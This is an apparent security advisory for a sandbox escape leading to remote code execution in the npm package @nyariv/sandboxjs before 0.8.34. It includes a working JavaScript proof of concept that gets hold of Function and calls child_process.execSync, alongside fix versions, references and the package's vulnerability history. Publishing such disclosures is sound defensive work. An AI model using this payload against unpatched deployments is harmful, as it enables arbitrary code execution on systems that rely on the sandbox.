SandboxJS affected by a Sandbox Escape
Summary
It is possible to obtain arrays containing Function, which allows escaping the sandbox.
Details
There are various ways to get an array containing Function, e.g.
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.
PoC
const s = require('.').default;
const sb = new s();
payload = `
const p = (async function () {})();
({
"finally": p.finally,
...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;
sb.compile(payload)().run();Impact
Sandbox Escape -> RCE
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @nyariv/sandboxjs | < 0.8.34 | 0.8.34 |
References
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv
- https://nvd.nist.gov/vuln/detail/CVE-2026-26954
- https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085
- https://github.com/nyariv/SandboxJS
- https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-94- Platform
- npm
- Package
@nyariv/sandboxjs- Disclosed
- 13.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-6r9f-759j-hjgv - CC BY 4.0
Vulnerability history: @nyariv/sandboxjs
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 14
- First → latest
- 07.2025 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 10
- High 1
- Medium 3
Disclosures per year
- 2025: 1
- 2026: 13
-
SandboxJS affected by a Sandbox Escape this entry
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